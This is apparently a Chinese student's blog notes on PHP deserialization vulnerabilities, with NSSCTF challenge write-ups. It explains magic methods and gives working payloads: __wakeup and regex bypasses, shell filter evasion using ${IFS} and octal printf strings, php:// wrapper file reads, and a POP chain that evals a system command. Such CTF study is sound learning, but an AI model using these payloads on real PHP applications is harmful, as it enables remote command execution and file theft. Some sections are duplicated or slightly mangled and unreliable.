php反序列化学习(nss反序列化专题学习更新ing)

半年前听了x老师的反序列化课程,收获良多。但是因为自己做密码赛题的缘故一直没对web题目去深入了解,借着此次假期学习的机会深入学习一下web,且从反序列化开始吧。

一、反序列化知识点

(一)产生原因

反序列化漏洞的成因:反序列化过程中,unserialize()接受的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码;通过更改这个值(字符串)。得到所需要的代码;通过调用方法,触发代码执行。

(二)魔术方法

img

(一)定义

一个预定义好的,在特定情况下自动触发的行为方法。

(二)魔术方法的作用:

魔术方法在特定条件下自动调用相关方法,最终导致触发代码

(三)魔术方法在反序列化里要关注的重要机制

(1)触发时机 =》 动作触发魔术方法

(2)功能

(3)参数 =》 一些特殊的魔术方法会传参

(4)返回值

1.__construct()

触发时机:实例化对象之前

构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法

2.__destruct()

触发时机:实例化对象结束后执行 反序列化过程中触发

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

实例化对象(创建一个类的实例)结束后,代码运行完会销毁,触发析构函数__destruct()

在序列化的过程中不会触发

在反序列化过程中会触发

<?php
highlight_file(__FILE__);
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次"."<br />" ;
    }
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
3.__sleep()

触发时机:序列化serialize之前

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep().

如果存在,该方法会先被调用,然后才执行序列化操作。

此功能可以用于清理对象,并且返回一个包含对象中所有应被 序列化的变量名称的数组。

如果该方法未返回任何内容,则NULL被序列化,并且产生一个E_NOTICE级别的错误,

4.__wakeup

触发时机:反序列化unserialize之前

unserialize()会检查是否存在一个__wakeup()方法。

如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源

预先准备对象资源,返回void,常用于反序列化操作中重新简历数据库连接或执行其他初始化操作。

__wakeup()在反序列化之前

__destruct()在反序列化之后

5.__tostring()

触发时机:把对象当作字符串调用

6.__invoke()

把对象当函数使用

7.__call()

触发时机:调用一个不存在的方法

参数:2个参数传参 a r g 1 , arg1, arg1,arg2

返回值:调用的不存在的方法名称和参数

调用的方法不存在,触发魔术方法call()

触发call(),传参 a r g 1 , arg1, arg1,arg2

8.__callStatic()

触发时机:静态调用或调用成员常量常量时使用的方法不存在

返回值:调用的不存在的方法的名称和参数

静态调用::时的方法不存在

触发callStatic(),传参 a r g 1 , arg1, arg1,arg2

9.__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性的名称

10.__set()

触发的时机:给不存在的成员属性赋值

传参: a r g 1 , arg1, arg1,arg2

返回值:不存在的成员属性的名称和赋的值

给不存在的成员属性var2复制为1

先触发get(),再触发set()

11.__isset()

触发的时机:对不可访问属性使用isset()或empty()时,__isset会被调用

参数:传参$arg1

返回值:不存在的成员的名称

isset()调用的成员属性var不可访问或不存在触发isset(),

返回不存在成员属性$arg1

12.unset

触发时机:对不可访问属性使用unset()时被调用

unset()调用的成员属性var不可以访问或不存在触发unset()

返回$arg1不存在成员属性的名称

13.__clone()

触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()

总结

在这里插入图片描述

img

img

(二)Bypass总结

1.__wakeup绕过

将需要进行反序列化的对象的序列化字符串中的成员数改为大于实际成员数即可。原理是:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

2.引号 双引号绕过
(1)整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

    先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls

    再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。

    接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

    综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

 (2)post上传构造后的序列化字符串来查看目录文件,构造方法是$method=ping,$arg为想要执行的外部命令ls,ls可以用''单引号或""双引号进行绕过,注意要闭合,此处是运用了Bash shell中单双引号的特性。另外还要注意$arg是数组的形式:

payload1

$test = new ease("ping",array('l""s'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" } 
3.空格绕过

Linux命令中 ${IFS}

Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。
IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。
IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,可用于对空格进行绕过。

payload2

$test = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" } 
4.Bash shell空格绕过
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
5.printf绕过(字符串进制绕过)

Linux中的printf函数()

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位
6.printf绕过(字符串进制绕过)

Linux中的printf函数()

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位
7.转ASCII转八绕过
cat flag_1s_here/flag_831b69012c67b35f.php

ASCII编码转为

99 97 116 32 102 108 97 103 95 49 115 95 104 101 114 101 47 102 108 97 103 95 56 51 49 98 54 57 48 49 50 99 54 55 98 51 53 102 46 112 104 112

八进制转为

\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\
8.$()与反引号

在bash中,$( )与``(反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。

示例:命令:$ echo today is ( d a t e " + (date "+%Y-%m-%d"),首先执行date命令,然后将执行结果替换后组成新的命令 (date"+echo today is 2014-07-01进行执行。显示:today is 2014-07-01。注意$ ( ) 会将 ()会将 ()会将()返回的结果视为命令进行执行,命令窗口里会有一个$。

payload3

由于php是后端语言 不会在前端显示 所以需要用printf进行输出

$test = new ease("ping",array('$(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160")'));
$a=serialize($test);
$b=base64_encode($a);
echo $b
在这个代码中,第一个 $ 是 Bash Shell 中的变量引用符号。当我们在命令行中输入$后跟着一个变量名时,Shell 会替换该变量为其对应的值。

在这个例子中,代码中的 $ 跟着 $(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160") ,意味着我们要将这个整个表达式作为命令行执行,并将命令行的输出结果作为值赋给数组的元素。

换句话说,这个代码片段中,使用$可以执行括号中的命令,并将命令的输出结果作为数组的元素。

得到结果

array(2){[0]=> string(5) " string(47) "//$cyberpeace{5e2df8ca0476abf594b980e8dc78f884}"} 

得到flag

cyberpeace{5e2df8ca0476abf594b980e8dc78f884}
9.绕过正则表达式

(preg_match(’/[oc]:\d+:/i’, $var))
而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配绕过
而O:+4没被过滤说明绕过了过滤而且最后的值不变。

payload

$a=new Demo("fl4g.php");
$b=serialize($a);
$b=str_replace("O:4","O:+4",$b);   #正则绕过
$b=str_replace(":1:",":2:",$b);    #_wakeup()绕过
$c=base64_encode($b);
echo $c
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Base64编码后
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
10.弱比较绕过

if语句中使用双等号判断,可以想到使用弱比较

字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false

构造POC

<?php
$a=array("username"=>0,"password"=>0);
$b=serialize($a);
echo $b
?>
a:2:{s:8:"username";i:0;s:8:"password";i:0;}

传参得到flag

NSSCTF{3d6b55ed-5a19-4482-87c6-68b4c8c0fb9a}

二、nss相关题目刷题

[SWPUCTF 2021 新生赛]ez_unserialize

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

分析:

给admin,passwd赋值即可

exp:

<?php
class wllm{

    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }

//        public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "ctf"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo "Just a bit more!";
//        }
//    }
}
$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
echo serialize($a);
?>

payload:

http://node4.anna.nssctf.cn:28352/cl45s.php?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

[SWPUCTF 2021 新生赛]no_wakeup

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

分析:

赋值,加上**__wakeup绕过**,详见上文Bypass总结

exp:

#O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}<?php
class HaHaHa{
    public $admin;
    public $passwd;

//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//
//    public function __wakeup(){
//        $this->passwd = sha1($this->passwd);
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "wllm"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->passwd;
//            echo "No wake up";
//        }
//    }



}
$a=new HaHaHa();
$a->admin="admin";
$a->passwd="wllm";
echo serialize($a);
?>
#O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload:

http://node4.anna.nssctf.cn:28576/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}

[ZJCTF 2019]NiZhuanSiWei

伪协议总结知识点

知识点:

data://    写入数据

php://input  执行php

//filter  查看源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

分析:

关于test参数需要绕过file_get_contents($text,‘r’)===“welcome to the zjctf”)

这里主要用伪协议的知识,参见文件包含漏洞(https://blog.csdn.net/ljc13626678577/article/details/140389877?spm=1001.2014.3001.5501)

test=data://text/plain,welcome to the zjctf

关于file参数可以读取注释中的useless.php

file=php://filter/read=convert.base64-encode/resource=useless.php

payload:

http://node4.anna.nssctf.cn:28734/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

查看useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

exp:

<?php

class Flag{  //flag.php
    public $file;
//    public function __tostring(){
//        if(isset($this->file)){
//            echo file_get_contents($this->file);
//            echo "<br>";
//            return ("U R SO CLOSE !///COME ON PLZ");
//        }
//    }

}
$a=new Flag();
$a->file="flag.txt";
echo serialize($a);
?>

结果:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload:

http://node4.anna.nssctf.cn:28734/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

此后就能看到这个页面,ctrl+u查看源代码即可获得flag

在这里插入图片描述

[HUBUCTF 2022 新生赛]checkin

 <?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>
username or password error!

分析:

如何满足条件

if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)

因为是弱比较,

所以我们使得$data_unserialize['username']==true并且$data_unserialize['password']==true

参见Bypass总结

exp:

<?php
$info=array(
    'username'=>True,
    'password'=>True
);
echo serialize($info);
?>
//a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[NISACTF 2022]babyserialize

pop链子

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

分析过程(倒叙):

一、构造pop链子

1.NISA::__invoke()

首先可以找到构造pop链子的结束点一定是这里,因为这里存在一个命令执行函数**@eval**,可以调用命令找flag

__invoke魔术方法是对象被当做函数进行调用的时候所触发 这里就反推看哪里用到了类似$a()这种的

就找到了上一条

2.Ilovetxw::__toString()

__toString()魔术方法是把对象当作字符串调用时候触发,这里反推哪里进行转对象为字符的操作

找到strtolower函数,将字符串转化成小写,反推上一条

在这里插入图片描述

3.four::__set()

__set:对不存在或者不可访问的变量进行赋值就自动调用 找赋值

__set() 魔术方法在对不可访问属性使用isset()或empty()时就会被调用

four里面的fun参数是private属性,影响传参也影响了set方法的调用,看哪个函数调用了不可访问的fun参数,反推上一条

4.Ilovetxw::__call()

call:对不存在的方法或者不可访问的方法进行调用就自动调用 找上一个的给不同方法

5.TianXiWei:__wakeup()

__wakeup()在反序列化unserialize之前被调用

一般来说,__wakeup()是pop链子的开始

二、传参问题

1.private绕过

four类的fun是private变量,不能直接赋值。而且four::__set()方法会将变量覆盖,所以我在NISA里传参给txw4ever

2.大小写绕过

txw4ever如果赋值为system(“tac /f*”);没法命令执行,可能是因为作者加的waf.php

因此这里赋值为SYSTEM(“tac /f*”);

<?php
class NISA{
    public $fun;
    public $txw4ever='SYSTEM("tac /f*");';
//    public function __wakeup()
//    {
//        if($this->fun=="show_me_flag"){
//            hint();
//        }
//    }

//    function __call($from,$val){
//        $this->fun=$val[0];
//    }

//    public function __toString()
//    {
//        echo $this->fun;
//        return " ";
//    }
//    public function __invoke()
//    {
//        checkcheck($this->txw4ever);
//        @eval($this->txw4ever);
//    }
}

class TianXiWei{
    public $ext;
    public $x;
//    public function __wakeup()
//    {
//        $this->ext->nisa($this->x);
//    }
}

class Ilovetxw{
    public $huang;
    public $su;

//    public function __call($fun1,$arg){
//        $this->huang->fun=$arg[0];
//    }

//    public function __toString(){
//        $bb = $this->su;
//        return $bb();
//    }
}

class four{
    public $a;
    private $fun;

//    public function __set($name, $value)
//    {
//        $this->$name=$value;
//        if ($this->fun = "sixsixsix"){
//            strtolower($this->a);
//        }
//    }
}
$a=new tianxiwei;
$a->ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));



#O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22system%28%22tac+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值